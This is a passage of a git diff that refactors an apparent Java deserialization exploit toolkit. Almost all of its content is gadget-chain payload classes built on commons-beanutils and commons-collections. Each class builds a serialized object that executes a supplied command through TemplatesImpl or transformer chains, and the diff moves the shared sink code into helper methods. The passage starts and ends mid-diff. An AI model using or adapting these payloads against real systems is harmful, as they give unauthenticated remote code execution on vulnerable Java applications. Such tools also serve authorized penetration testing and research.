b/src/main/java/com/qi4l/JYso/gadgets/cb183.java index 7df85b1..8d7c199 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cb183.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cb183.java @@ -2,15 +2,13 @@ package com.qi4l.JYso.gadgets; import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.utils.Gadgets; -import com.qi4l.JYso.gadgets.utils.Reflections; import javassist.ClassPool; import javassist.CtClass; -import org.apache.commons.beanutils.BeanComparator; - -import java.util.PriorityQueue; +import static com.qi4l.JYso.gadgets.cb160.getCbSink_1; import static com.qi4l.JYso.gadgets.utils.InjShell.insertField; +@SuppressWarnings({"unused"}) @Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-beanutils:commons-beanutils:1.7X"}) public class cb183 implements ObjectPayload { @@ -22,18 +20,6 @@ public class cb183 implements ObjectPayload { CtClass ctClass = pool.get("org.apache.commons.beanutils.BeanComparator"); insertField(ctClass, "serialVersionUID", "private static final long serialVersionUID = -3490850999041592962L;"); - - Class beanCompareClazz = ctClass.toClass(); - BeanComparator comparator = (BeanComparator) beanCompareClazz.newInstance(); - final PriorityQueue queue = new PriorityQueue(2, comparator); - queue.add("1"); - queue.add("1"); - - // switch method called by comparator - Reflections.setFieldValue(comparator, "property", "outputProperties"); - Reflections.setFieldValue(comparator, "comparator", String.CASE_INSENSITIVE_ORDER); - Reflections.setFieldValue(queue, "queue", new Object[]{template, template}); - - return queue; + return getCbSink_1(ctClass,template); } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/cb192.java b/src/main/java/com/qi4l/JYso/gadgets/cb192.java index aaf9ca8..562b554 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cb192.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cb192.java @@ -8,6 +8,7 @@ import org.apache.commons.beanutils.BeanComparator; import java.util.PriorityQueue; +@SuppressWarnings({"rawtypes", "unchecked","unused"}) @Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"}) @Authors({Authors.FROHOFF}) public class cb192 implements ObjectPayload { diff --git a/src/main/java/com/qi4l/JYso/gadgets/cb_AttrCompare183.java b/src/main/java/com/qi4l/JYso/gadgets/cb_AttrCompare183.java index ce761e8..b339240 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cb_AttrCompare183.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cb_AttrCompare183.java @@ -8,41 +8,48 @@ import com.qi4l.JYso.gadgets.utils.SuClassLoader; import com.sun.org.apache.xerces.internal.dom.AttrNSImpl; import com.sun.org.apache.xerces.internal.dom.CoreDocumentImpl; import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare; -import javassist.ClassClassPath; -import javassist.ClassPool; -import javassist.CtClass; -import javassist.CtField; +import javassist.*; import java.util.Comparator; import java.util.PriorityQueue; - +@SuppressWarnings({"rawtypes", "unchecked","unused"}) @Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-beanutils:commons-beanutils:1.7X"}) @Authors({"SummerSec"}) public class cb_AttrCompare183 implements ObjectPayload { @Override public Object getObject(String command) throws Exception { - final Object template; - template = Gadgets.createTemplatesImpl(command); + Object template = Gadgets.createTemplatesImpl(command); + AttrNSImpl attrNS1 = new AttrNSImpl(); CoreDocumentImpl coreDocument = new CoreDocumentImpl(); attrNS1.setValues(coreDocument, "1", "1", "1"); + + Comparator beanComparator = getCbSink_2(); + Reflections.setFieldValue(beanComparator, "comparator", new AttrCompare()); + + return getCbSink_3(beanComparator, attrNS1, template); + } + + + static Comparator getCbSink_2() throws Exception { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator"))); final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator"); try { CtField ctSUID = ctBeanComparator.getDeclaredField("serialVersionUID"); ctBeanComparator.removeField(ctSUID); - } catch (javassist.NotFoundException e) { + } catch (NotFoundException ignored) { } ctBeanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;", ctBeanComparator)); final Comparator beanComparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance(); - ctBeanComparator.defrost(); + return beanComparator; + } - Reflections.setFieldValue(beanComparator, "comparator", new AttrCompare()); - PriorityQueue queue = new PriorityQueue(2, (Comparator) beanComparator); + static Object getCbSink_3(Comparator beanComparator, Object attrNS1, Object template) throws Exception { + PriorityQueue queue = new PriorityQueue<>(2, (Comparator) beanComparator); queue.add(attrNS1); queue.add(attrNS1); diff --git a/src/main/java/com/qi4l/JYso/gadgets/cb_AttrCompare192.java b/src/main/java/com/qi4l/JYso/gadgets/cb_AttrCompare192.java index a045367..96a9b12 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cb_AttrCompare192.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cb_AttrCompare192.java @@ -3,15 +3,14 @@ package com.qi4l.JYso.gadgets; import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.utils.Gadgets; -import com.qi4l.JYso.gadgets.utils.Reflections; import com.sun.org.apache.xerces.internal.dom.AttrNSImpl; import com.sun.org.apache.xerces.internal.dom.CoreDocumentImpl; import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare; import org.apache.commons.beanutils.BeanComparator; -import java.util.PriorityQueue; - +import static com.qi4l.JYso.gadgets.cb_AttrCompare183.getCbSink_3; +@SuppressWarnings({"rawtypes", "unchecked","unused"}) @Dependencies({"commons-beanutils:commons-beanutils:1.9.2"}) @Authors({"水滴"}) public class cb_AttrCompare192 implements ObjectPayload { @@ -25,14 +24,6 @@ public class cb_AttrCompare192 implements ObjectPayload { BeanComparator beanComparator = new BeanComparator(null, new AttrCompare()); - PriorityQueue queue = new PriorityQueue(2, beanComparator); - - queue.add(attrNS1); - queue.add(attrNS1); - - Reflections.setFieldValue(queue, "queue", new Object[]{template, template}); - Reflections.setFieldValue(beanComparator, "property", "outputProperties"); - - return queue; + return getCbSink_3(beanComparator, attrNS1, template); } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/cb_JDBC.java b/src/main/java/com/qi4l/JYso/gadgets/cb_JDBC.java index 5c9d4b3..a024e54 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cb_JDBC.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cb_JDBC.java @@ -8,7 +8,7 @@ import org.apache.commons.beanutils.BeanComparator; import java.util.PriorityQueue; -@SuppressWarnings({"rawtypes", "unchecked"}) +@SuppressWarnings({"rawtypes", "unchecked","unused"}) @Dependencies({"commons-beanutils:commons-beanutils:1.9.2"}) @Authors({Authors.QI4L}) public class cb_JDBC implements ObjectPayload { diff --git a/src/main/java/com/qi4l/JYso/gadgets/cb_JNDI.java b/src/main/java/com/qi4l/JYso/gadgets/cb_JNDI.java index 99a639a..f45a86c 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cb_JNDI.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cb_JNDI.java @@ -9,6 +9,7 @@ import org.apache.commons.beanutils.BeanComparator; import java.math.BigInteger; import java.util.PriorityQueue; +@SuppressWarnings({"rawtypes", "unchecked","unused"}) @Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1"}) @Authors({Authors.QI4L}) public class cb_JNDI implements ObjectPayload { diff --git a/src/main/java/com/qi4l/JYso/gadgets/cb_ObjectToStringComparator183.java b/src/main/java/com/qi4l/JYso/gadgets/cb_ObjectToStringComparator183.java index 44d2b6e..ae33d76 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cb_ObjectToStringComparator183.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cb_ObjectToStringComparator183.java @@ -4,17 +4,14 @@ import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.utils.Gadgets; import com.qi4l.JYso.gadgets.utils.Reflections; -import com.qi4l.JYso.gadgets.utils.SuClassLoader; -import javassist.ClassClassPath; -import javassist.ClassPool; -import javassist.CtClass; -import javassist.CtField; import org.apache.commons.lang3.compare.ObjectToStringComparator; import java.util.Comparator; -import java.util.PriorityQueue; +import static com.qi4l.JYso.gadgets.cb_AttrCompare183.getCbSink_2; +import static com.qi4l.JYso.gadgets.cb_AttrCompare183.getCbSink_3; +@SuppressWarnings({"rawtypes", "unused"}) @Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "org.apache.commons:commons-lang3:3.10", "commons-beanutils:commons-beanutils:1.7X"}) @Authors({"SummerSec"}) public class cb_ObjectToStringComparator183 implements ObjectPayload { @@ -22,29 +19,12 @@ public class cb_ObjectToStringComparator183 implements ObjectPayload { public Object getObject(String command) throws Exception { final Object template; template = Gadgets.createTemplatesImpl(command); - ClassPool pool = ClassPool.getDefault(); - pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator"))); - final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator"); - try { - CtField ctSUID = ctBeanComparator.getDeclaredField("serialVersionUID"); - ctBeanComparator.removeField(ctSUID); - } catch (javassist.NotFoundException e) { - } - ctBeanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;", ctBeanComparator)); - final Comparator beanComparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance(); - ctBeanComparator.defrost(); - Reflections.setFieldValue(beanComparator, "comparator", new ObjectToStringComparator()); + Comparator beanComparator = getCbSink_2(); + + Reflections.setFieldValue(beanComparator, "comparator", new ObjectToStringComparator()); ObjectToStringComparator stringComparator = new ObjectToStringComparator(); - PriorityQueue queue = new PriorityQueue(2, (Comparator) beanComparator); - - queue.add(stringComparator); - queue.add(stringComparator); - - Reflections.setFieldValue(queue, "queue", new Object[]{template, template}); - Reflections.setFieldValue(beanComparator, "property", "outputProperties"); - - return queue; + return getCbSink_3(beanComparator, stringComparator, template); } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/cb_PropertySource183.java b/src/main/java/com/qi4l/JYso/gadgets/cb_PropertySource183.java index e5a9802..b1b6439 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cb_PropertySource183.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cb_PropertySource183.java @@ -4,17 +4,13 @@ import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.utils.Gadgets; import com.qi4l.JYso.gadgets.utils.Reflections; -import com.qi4l.JYso.gadgets.utils.SuClassLoader; -import javassist.ClassClassPath; -import javassist.ClassPool; -import javassist.CtClass; -import javassist.CtField; import org.apache.logging.log4j.util.PropertySource; import java.util.Comparator; -import java.util.PriorityQueue; +import static com.qi4l.JYso.gadgets.cb_AttrCompare183.getCbSink_3; +@SuppressWarnings({"rawtypes", "unused"}) @Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-beanutils:commons-beanutils:1.7X"}) @Authors({"SummerSec"}) public class cb_PropertySource183 implements ObjectPayload { @@ -22,35 +18,11 @@ public class cb_PropertySource183 implements ObjectPayload { public Object getObject(String command) throws Exception { final Object template; template = Gadgets.createTemplatesImpl(command); - PropertySource propertySource1 = new PropertySource() { - @Override - public int getPriority() { - return 0; - } - }; + PropertySource propertySource1 = () -> 0; - ClassPool pool = ClassPool.getDefault(); - pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator"))); - final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator"); - try { - CtField ctSUID = ctBeanComparator.getDeclaredField("serialVersionUID"); - ctBeanComparator.removeField(ctSUID); - } catch (javassist.NotFoundException e) { - } - ctBeanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;", ctBeanComparator)); - final Comparator beanComparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance(); - ctBeanComparator.defrost(); + Comparator beanComparator = cb_AttrCompare183.getCbSink_2(); Reflections.setFieldValue(beanComparator, "comparator", new PropertySource.Comparator()); - - PriorityQueue queue = new PriorityQueue(2, (Comparator) beanComparator); - - queue.add(propertySource1); - queue.add(propertySource1); - - Reflections.setFieldValue(queue, "queue", new Object[]{template, template}); - Reflections.setFieldValue(beanComparator, "property", "outputProperties"); - - return queue; + return getCbSink_3(beanComparator, propertySource1, template); } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/cb_PropertySource192.java b/src/main/java/com/qi4l/JYso/gadgets/cb_PropertySource192.java index ca6f4ac..3a6cb26 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cb_PropertySource192.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cb_PropertySource192.java @@ -9,7 +9,7 @@ import org.apache.logging.log4j.util.PropertySource; import java.util.PriorityQueue; - +@SuppressWarnings({"rawtypes", "unchecked","unused"}) @Dependencies({"commons-beanutils:commons-beanutils:1.9.2"}) @Authors({"SummerSec"}) public class cb_PropertySource192 implements ObjectPayload { @@ -17,12 +17,7 @@ public class cb_PropertySource192 implements ObjectPayload { public Object getObject(String command) throws Exception { final Object template; template = Gadgets.createTemplatesImpl(command); - PropertySource propertySource1 = new PropertySource() { - @Override - public int getPriority() { - return 0; - } - }; + PropertySource propertySource1 = () -> 0; BeanComparator beanComparator = new BeanComparator(null, new PropertySource.Comparator()); diff --git a/src/main/java/com/qi4l/JYso/gadgets/cc1.java b/src/main/java/com/qi4l/JYso/gadgets/cc1.java index 38fd48f..26f5c9b 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cc1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cc1.java @@ -42,16 +42,20 @@ import static com.qi4l.JYso.gadgets.utils.Utils.createMemoitizedProxy; @SuppressWarnings({"rawtypes", "unchecked", "unused"}) @Dependencies({"commons-collections:commons-collections:3.1"}) @Authors({Authors.FROHOFF}) -public class cc1 implements ObjectPayload { +public class cc1 implements ObjectPayload { @Override - public InvocationHandler getObject(String command) throws Exception { + public Object getObject(String command) throws Exception { final Transformer transformerChain = new ChainedTransformer( new Transformer[]{new ConstantTransformer(1)}); // real chain for after setup final Transformer[] transformers = TransformerUtil.makeTransformer(command); + return get_CC_Sink(transformerChain, transformers); + } + + static Object get_CC_Sink(Transformer transformerChain, Transformer[] transformers) throws Exception { final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); final Map mapProxy = createMemoitizedProxy(lazyMap, Map.class); diff --git a/src/main/java/com/qi4l/JYso/gadgets/cc10.java b/src/main/java/com/qi4l/JYso/gadgets/cc10.java index 91b7aaa..614d36e 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cc10.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cc10.java @@ -4,7 +4,6 @@ import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.utils.Gadgets; import com.qi4l.JYso.gadgets.utils.Reflections; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; -import org.apache.commons.collections.Factory; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.FactoryTransformer; import org.apache.commons.collections.functors.InstantiateFactory; @@ -15,7 +14,7 @@ import javax.xml.transform.Templates; import java.util.HashMap; import java.util.Map; - +@SuppressWarnings({"rawtypes", "unchecked","unused"}) @Dependencies({"commons-collections:commons-collections:3.2.1"}) public class cc10 implements ObjectPayload { public Object getObject(String command) throws Exception { @@ -25,7 +24,7 @@ public class cc10 implements ObjectPayload { // 使用 InstantiateFactory 代替 InstantiateTransformer InstantiateFactory instantiateFactory = new InstantiateFactory(TrAXFilter.class, new Class[]{Templates.class}, new Object[]{templates}); - FactoryTransformer factoryTransformer = new FactoryTransformer((Factory) instantiateFactory); + FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory); // 先放一个无关键要的 Transformer ConstantTransformer constantTransformer = new ConstantTransformer(1); diff --git a/src/main/java/com/qi4l/JYso/gadgets/cc11.java b/src/main/java/com/qi4l/JYso/gadgets/cc11.java index ad4b340..73ff144 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cc11.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cc11.java @@ -1,5 +1,7 @@ package com.qi4l.JYso.gadgets; +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.utils.Gadgets; import com.qi4l.JYso.gadgets.utils.Reflections; import org.apache.commons.collections.functors.ConstantTransformer; @@ -16,6 +18,10 @@ import java.util.Map; * 需要调用其 connect 方法,因此需要调用任意方法的 Gadget,这里选择了 InvokerTransformer * 直接传入 Base64 编码的序列化数据即可 */ + +@SuppressWarnings({"unchecked","unused"}) +@Dependencies({"commons-collections:commons-collections:3.2.1"}) +@Authors({Authors.QI4L}) public class cc11 implements ObjectPayload { @Override diff --git a/src/main/java/com/qi4l/JYso/gadgets/cc12.java b/src/main/java/com/qi4l/JYso/gadgets/cc12.java index abdfd38..4b92e75 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cc12.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cc12.java @@ -15,6 +15,7 @@ import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; +@SuppressWarnings({"rawtypes", "unused"}) @Dependencies({"commons-collections:commons-collections:3.2.1"}) @Authors({Authors.Jayl1n}) public class cc12 implements ObjectPayload { diff --git a/src/main/java/com/qi4l/JYso/gadgets/cc13.java b/src/main/java/com/qi4l/JYso/gadgets/cc13.java index 5b95f06..8847506 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cc13.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cc13.java @@ -14,6 +14,7 @@ import org.apache.commons.collections.map.LazyMap; import java.util.HashMap; import java.util.Map; +@SuppressWarnings({"rawtypes", "unused"}) @Dependencies({"commons-collections:commons-collections:3.1"}) @Authors({Authors.UNAM4}) public class cc13 implements ObjectPayload { @@ -29,7 +30,6 @@ public class cc13 implements ObjectPayload { Reflections.setFieldValue(tiedMapEntry, "key", 233); return hashMap; - //return hashtable; } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/cc2.java b/src/main/java/com/qi4l/JYso/gadgets/cc2.java index 52ea1d6..3e92dd6 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cc2.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cc2.java @@ -11,7 +11,7 @@ import java.util.PriorityQueue; import java.util.Queue; -@SuppressWarnings({"rawtypes", "unchecked"}) +@SuppressWarnings({"rawtypes", "unchecked","unused"}) @Dependencies({"org.apache.commons:commons-collections4:4.0"}) @Authors({Authors.FROHOFF}) public class cc2 implements ObjectPayload> { diff --git a/src/main/java/com/qi4l/JYso/gadgets/cc3.java b/src/main/java/com/qi4l/JYso/gadgets/cc3.java index bcf1aae..542e927 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cc3.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cc3.java @@ -4,20 +4,15 @@ import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.utils.Gadgets; import com.qi4l.JYso.gadgets.utils.JavaVersion; -import com.qi4l.JYso.gadgets.utils.Reflections; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; -import org.apache.commons.collections.map.LazyMap; import javax.xml.transform.Templates; -import java.lang.reflect.InvocationHandler; -import java.util.HashMap; -import java.util.Map; -import static com.qi4l.JYso.gadgets.utils.Utils.createMemoitizedProxy; +import static com.qi4l.JYso.gadgets.cc1.get_CC_Sink; /** @@ -25,7 +20,7 @@ import static com.qi4l.JYso.gadgets.utils.Utils.createMemoitizedProxy; * InvokerTransformer. */ -@SuppressWarnings({"rawtypes", "unchecked", "restriction", "unused"}) +@SuppressWarnings({"restriction", "unused"}) @Dependencies({"commons-collections:commons-collections:3.1"}) @Authors({Authors.FROHOFF}) public class cc3 implements ObjectPayload { @@ -49,13 +44,6 @@ public class cc3 implements ObjectPayload { new Class[]{Templates.class}, new Object[]{templatesImpl})}; - final Map innerMap = new HashMap(); - final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); - final Map mapProxy = createMemoitizedProxy(lazyMap, Map.class); - final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); - - Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain - - return handler; + return get_CC_Sink(transformerChain, transformers); } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/cc4.java b/src/main/java/com/qi4l/JYso/gadgets/cc4.java index 9a86e79..080b84a 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cc4.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cc4.java @@ -5,7 +5,6 @@ import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.utils.Gadgets; import com.qi4l.JYso.gadgets.utils.Reflections; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; -import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; @@ -21,6 +20,7 @@ import java.util.Queue; * InvokerTransformer. */ +@SuppressWarnings({"rawtypes", "unchecked","unused"}) @Dependencies({"org.apache.commons:commons-collections4:4.0"}) @Authors({Authors.FROHOFF}) public class cc4 implements ObjectPayload> { @@ -39,7 +39,7 @@ public class cc4 implements ObjectPayload> { paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes"); args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs"); - ChainedTransformer chain = new ChainedTransformer(new Transformer[]{constant, instantiate}); + ChainedTransformer chain = new ChainedTransformer(constant, instantiate); // create queue with numbers PriorityQueue queue = new PriorityQueue(2, new TransformingComparator(chain)); diff --git a/src/main/java/com/qi4l/JYso/gadgets/cc4_17.java b/src/main/java/com/qi4l/JYso/gadgets/cc4_17.java index e889d9f..30f22d9 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cc4_17.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cc4_17.java @@ -13,7 +13,7 @@ import java.util.PriorityQueue; import static com.qi4l.JYso.gadgets.utils.jdk17Bypass.patchModule; -@SuppressWarnings({"rawtypes", "unchecked"}) +@SuppressWarnings({"rawtypes", "unchecked","unused"}) @Authors({Authors.JIECUB3}) public class cc4_17 implements ObjectPayload { @Override diff --git a/src/main/java/com/qi4l/JYso/gadgets/cc6.java b/src/main/java/com/qi4l/JYso/gadgets/cc6.java index 5a2d98d..2bade98 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cc6.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cc6.java @@ -2,7 +2,6 @@ package com.qi4l.JYso.gadgets; import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Reflections; import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; @@ -10,11 +9,11 @@ import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.Serializable; -import java.lang.reflect.Field; import java.util.HashMap; -import java.util.HashSet; import java.util.Map; +import static com.qi4l.JYso.gadgets.AspectJWeaver2.getSerializableCC6; + /** * Gadget chain: @@ -32,7 +31,7 @@ import java.util.Map; *

* by @matthias_kaiser */ -@SuppressWarnings({"rawtypes", "unchecked"}) +@SuppressWarnings({"rawtypes","unused"}) @Dependencies({"commons-collections:commons-collections:3.1"}) @Authors({Authors.MATTHIASKAISER}) public class cc6 implements ObjectPayload { @@ -45,43 +44,6 @@ public class cc6 implements ObjectPayload { final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "QI4L"); - HashSet map = new HashSet(1); - map.add("QI4L"); - Field f = null; - try { - f = HashSet.class.getDeclaredField("map"); - } catch (NoSuchFieldException e) { - f = HashSet.class.getDeclaredField("backingMap"); - } - - Reflections.setAccessible(f); - HashMap innimpl = (HashMap) f.get(map); - - Field f2 = null; - try { - f2 = HashMap.class.getDeclaredField("table"); - } catch (NoSuchFieldException e) { - f2 = HashMap.class.getDeclaredField("elementData"); - } - - Reflections.setAccessible(f2); - Object[] array = (Object[]) f2.get(innimpl); - - Object node = array[0]; - if (node == null) { - node = array[1]; - } - - Field keyField = null; - try { - keyField = node.getClass().getDeclaredField("key"); - } catch (Exception e) { - keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); - } - - Reflections.setAccessible(keyField); - keyField.set(node, entry); - - return map; + return getSerializableCC6(entry); } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/cc7.java b/src/main/java/com/qi4l/JYso/gadgets/cc7.java index fbb73dc..bcdddd9 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cc7.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cc7.java @@ -15,7 +15,7 @@ import java.util.Map; /** * CC6的简化写法 */ -@SuppressWarnings({"rawtypes", "unchecked"}) +@SuppressWarnings({"rawtypes", "unchecked","unused"}) @Dependencies({"commons-collections:commons-collections:3.1"}) @Authors({Authors.SCRISTALLI, Authors.HANYRAX, Authors.EDOARDOVIGNATI}) public class cc7 implements ObjectPayload { diff --git a/src/main/java/com/qi4l/JYso/gadgets/cc8.java b/src/main/java/com/qi4l/JYso/gadgets/cc8.java index 6aa8161..3fbd4c7 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cc8.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cc8.java @@ -4,14 +4,12 @@ import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.utils.Gadgets; import com.qi4l.JYso.gadgets.utils.Reflections; -import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.bag.TreeBag; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.InvokerTransformer; -import java.util.Comparator; - +@SuppressWarnings({"rawtypes", "unchecked","unused"}) @Dependencies({"org.apache.commons:commons-collections4:4.0"}) @Authors({"navalorenzo"}) public class cc8 implements ObjectPayload { @@ -20,8 +18,8 @@ public class cc8 implements ObjectPayload { final Object templates = Gadgets.createTemplatesImpl(command); InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); - TransformingComparator comp = new TransformingComparator((Transformer) transformer); - TreeBag tree = new TreeBag((Comparator) comp); + TransformingComparator comp = new TransformingComparator(transformer); + TreeBag tree = new TreeBag(comp); tree.add(templates); Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); return tree; diff --git a/src/main/java/com/qi4l/JYso/gadgets/cc9.java b/src/main/java/com/qi4l/JYso/gadgets/cc9.java index a63e5ee..101f5fc 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cc9.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cc9.java @@ -14,6 +14,7 @@ import javax.management.BadAttributeValueExpException; import java.util.HashMap; import java.util.Map; +@SuppressWarnings({"rawtypes", "unused"}) @Dependencies({"commons-collections:commons-collections:3.2.1"}) @Authors({"梅子酒"}) @@ -21,9 +22,9 @@ public class cc9 implements ObjectPayload { public BadAttributeValueExpException getObject(String command) throws Exception { - ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(Integer.valueOf(1))}); + ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)}); Transformer[] transformers = TransformerUtil.makeTransformer(command); - Map innerMap = new HashMap(); + Map innerMap = new HashMap<>(); Map defaultedmap = DefaultedMap.decorate(innerMap, chainedTransformer); TiedMapEntry entry = new TiedMapEntry(defaultedmap, "QI4L"); BadAttributeValueExpException val = new BadAttributeValueExpException(null); diff --git a/src/main/java/com/qi4l/JYso/gadgets/cck1.java b/src/main/java/com/qi4l/JYso/gadgets/cck1.java index ee1e639..cfb7962 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cck1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cck1.java @@ -21,6 +21,7 @@ import java.util.Map; * templates... */ +@SuppressWarnings({"rawtypes", "unchecked","unused"}) @Dependencies({"commons-collections:commons-collections:3.1"}) public class cck1 implements ObjectPayload { @@ -29,7 +30,7 @@ public class cck1 implements ObjectPayload { final Object templates; templates = Gadgets.createTemplatesImpl(command); InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); - HashMap innerMap = new HashMap(); + HashMap innerMap = new HashMap<>(); Map m = LazyMap.decorate(innerMap, transformer); Map outerMap = new HashMap(); TiedMapEntry tied = new TiedMapEntry(m, templates); diff --git a/src/main/java/com/qi4l/JYso/gadgets/cck2.java b/src/main/java/com/qi4l/JYso/gadgets/cck2.java index 5a120fc..2b2a318 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cck2.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cck2.java @@ -10,6 +10,7 @@ import org.apache.commons.collections4.map.LazyMap; import java.util.HashMap; import java.util.Map; +@SuppressWarnings({"rawtypes", "unchecked","unused"}) @Dependencies({"commons-collections:commons-collections:4.0"}) public class cck2 implements ReleaseableObjectPayload { @@ -18,7 +19,7 @@ public class cck2 